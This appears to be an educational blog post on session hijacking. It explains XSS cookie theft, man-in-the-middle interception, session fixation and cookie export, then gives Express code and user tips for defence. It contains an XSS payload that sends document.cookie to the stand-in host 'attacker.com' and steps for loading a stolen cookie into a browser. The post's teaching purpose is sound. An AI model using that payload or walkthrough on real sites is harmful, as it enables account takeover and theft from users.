Introduction: A Digital Heist in Plain Sight
Imagine shopping online, adding items to your cart, and preparing to check out—only to find items you didn’t add. This could mean you’re a victim of session hijacking, where hackers steal your active session and access keys. You might not even notice right away since nothing appears to have changed.
In this post, we’ll explain what session hijacking is, how people execute it, and, most importantly, how to protect your accounts.
What are Cookies and JWT?
Cookies are small files saved in your browser by websites to remember things like your login, preferences, or shopping cart.
JWT (JSON Web Tokens) are a way to send secure information, like who you are, between a website and a server.
Both help manage sessions, but JWTs work well for apps that don’t need to store data on the server.
What Is Session Hijacking?
Session hijacking is when an individual steals your session token, like a cookie or a JSON Web Token, which is used to identify and authenticate you while you interact with a website or web application. With your session token, the hacker can impersonate you, making it seem as if they're you, without needing your username or password.
Real-Life Example:
You’re logged into an online bank account, and while you’re busy shopping, a hacker intercepts your session token. They now have access to your account and can start transferring your money to their own account. And all of this happens without needing your banking credentials!
How Do Hackers Steal Your Session?
These individuals have a few sneakier ways they go about making off with session tokens. These are much more frequently used than you would anticipate, and many of these work even if you perceive that you are on an otherwise secure site.
1. Cross-Site Scripting (XSS): The Silent Cookie Snatcher
What is it? Cross-Site Scripting (XSS) refers to a vulnerability whereby an attacker injects malicious script into web pages, aiming to steal session cookies from vulnerable users who visit the web page.
How it works:
An attacker injects a JavaScript snippet into a webpage or comment section.
When you visit the page, the script runs in your browser and sends your session cookie to the hacker's server.
Example: Here's a simple XSS script:
<script>
document.location = 'http://attacker.com?cookie=' + document.cookie;
</script>
The script takes out your session cookie and transfers it to the hacker.
Using that cookie, the hacker can enter into your account.
How to protect yourself: Do not click on suspicious links, especially in forums or comment sections. Websites should implement input sanitization so that scripts are not executed.
2. Man-in-the-Middle (MITM) Attack: The Eavesdropper
What is it? In a Man-in-the-Middle attack, hackers intercept the communication between you and the website. This is most effective when you're using an unprotected network, such as public Wi-Fi.
How it works:
They intercept your data if you are not using HTTPS, a secure version of HTTP.
They steal your session cookie as it travels between your browser and the server.
Example: You're logged into a website over public Wi-Fi. With the right tools, an attacker can intercept your HTTP request, steal your session cookie, and gain access to your account.
How to protect yourself:
Always use HTTPS (look for the lock symbol in your browser).
Avoid logging into sensitive accounts on public Wi-Fi, or use a VPN to encrypt your traffic.
3. Session Fixation: Forcing You to Use a Hackable Session
What is it? In a session fixation attack, hackers force you to use a session ID they already know, so once you log in, they can hijack the session.
How it works:
The attacker emails you with a link that already has an existing session ID. When you click on the link and log in, that session ID stays the same, and they can take over your session. Example The hacker emails you with a link like the following: https://example.com/login?sessionid=12345 When you enter your login credentials, your session ID is now 12345, and that's exactly what the hacker can take over your session with. How to protect against this :
Always regenerate session IDs after login.
Use session management techniques to ensure session IDs are random and unique.
4. Exporting Your Cookie: A Quick Hijack
What is it? Once a hacker has your session cookie, they don't need to wait around. They can export the cookie and inject it into their browser, instantly gaining access to your account.
How it works:
The attacker can then save it and load it into their own browser after stealing the session cookie.
The attacker is now pretending to be you.
Example:
The attacker opens the developer tools in their browser using F12.
They open the "Application" tab and find the cookies for the website.
The attacker copies the session cookie and injects it into their own browser.
Below are some extensions which can be used to export the cookies in the JSON format and then use those cookies to login to the website:
- Export cookie as JSON:
Example: Cookies exported in JSON format using the extension
- Cookie-Editor:
Adds the JSON format cookie to the application
How to protect yourself:
Use secure cookies with the HttpOnly and Secure flags, making them harder to access via JavaScript.
Use encryption and session token regeneration techniques to prevent cookies from being hijacked.
How Does a Hacker Hijack Your Session in Action?
Let’s run through a practical example:
You’re logged into your favorite shopping site.
The hacker injects a malicious XSS script into the site's comment section.
You click on the comment to view it, and the script runs.
Your session cookie is sent over to the hacker's server.
The hacker uses your cookie in their browser to get into your account and begin making unauthorized purchases.
It's a straightforward yet powerful attack that depends upon you inadvertently engaging with a compromised page.
How to Defend Yourself Against Session Hijacking
For Developers:
As a developer, you can protect your users from session hijacking. Here's how:
1. Secure Your Cookies with HttpOnly and Secure Flags
Set the HttpOnly flag so that your cookies are inaccessible to JavaScript, and the Secure flag ensures they are only sent over HTTPS.
Example (Node.js with Express):
app.use(session({
secret: 'your-secret',
resave: false,
saveUninitialized: true,
cookie: {
httpOnly: true, // Prevent access to cookies via JavaScript
secure: true, // Only send cookies over HTTPS
sameSite: 'Strict' // Prevent CSRF attacks
}
}));
2. Enforce Multi-Factor Authentication (MFA)
Even if a hacker steals a session token, MFA adds an extra layer of security by requiring something the attacker doesn't have (like an OTP or app authentication).
Example (Node.js OTP generation):
const otpGenerator = require('otp-generator');
const otp = otpGenerator.generate(6, { upperCase: false, specialChars: false });
console.log(`Your OTP is: ${otp}`); // Send to the user
// Verify OTP
const userInput = '123456'; // Assume this comes from user input
if (userInput === otp) {
console.log('OTP Verified!');
} else {
console.log('Invalid OTP!');
}
3. Encrypt Data with HTTPS
Use HTTPS to encrypt data from the server to the client, so that no middle-man can eavesdrop your connection and intercept your communication.
Example Express Middleware to Force HTTPS:
const express = require('express');
const app = express();
// Redirect HTTP to HTTPS
app.use((req, res, next) => {
if (req.headers["x-forwarded-proto"] !== "https") {
return res.redirect("https://" + req.headers.host + req.url);
}
next();
});
4. Regenerate Session IDs After Login
Regenerate session IDs once the user logs in to avoid session fixation attacks.
app.post('/login', (req, res) => {
req.session.regenerate((err) => {
if (err) {
return res.status(500).send('Session regeneration failed');
}
res.send('Logged in successfully');
});
});
For Users:
Even if you are not a developer, you can take precautions against session hijacking:
Always Use HTTPS: Look for the padlock symbol in the browser's address bar.
Enable Multi-Factor Authentication (MFA): Enable MFA wherever possible.
Log Out After Use: Especially on shared or public devices, always log out when done.
Avoid Public Wi-Fi for Sensitive Transactions: Use a VPN to secure your connection.
Be Careful of Links: Avoid clicking links, especially in emails or untrusted comments.
Conclusion: Stay Ahead of Cyber Thieves
Session hijacking may sound like some really complex attack, but it can be well prevented if you are properly aware and take the necessary precautions. Whether you are a developer securing your web app or a user taking proactive steps to safeguard your accounts, understanding how session hijacking works is the first step in staying safe online.
By taking the right precautions—such as enforcing HTTPS, using MFA, and regenerating session IDs—you can greatly reduce the risk of falling victim to these sneaky cyberattacks. Stay vigilant, stay secure, and keep your online experience safe from hackers!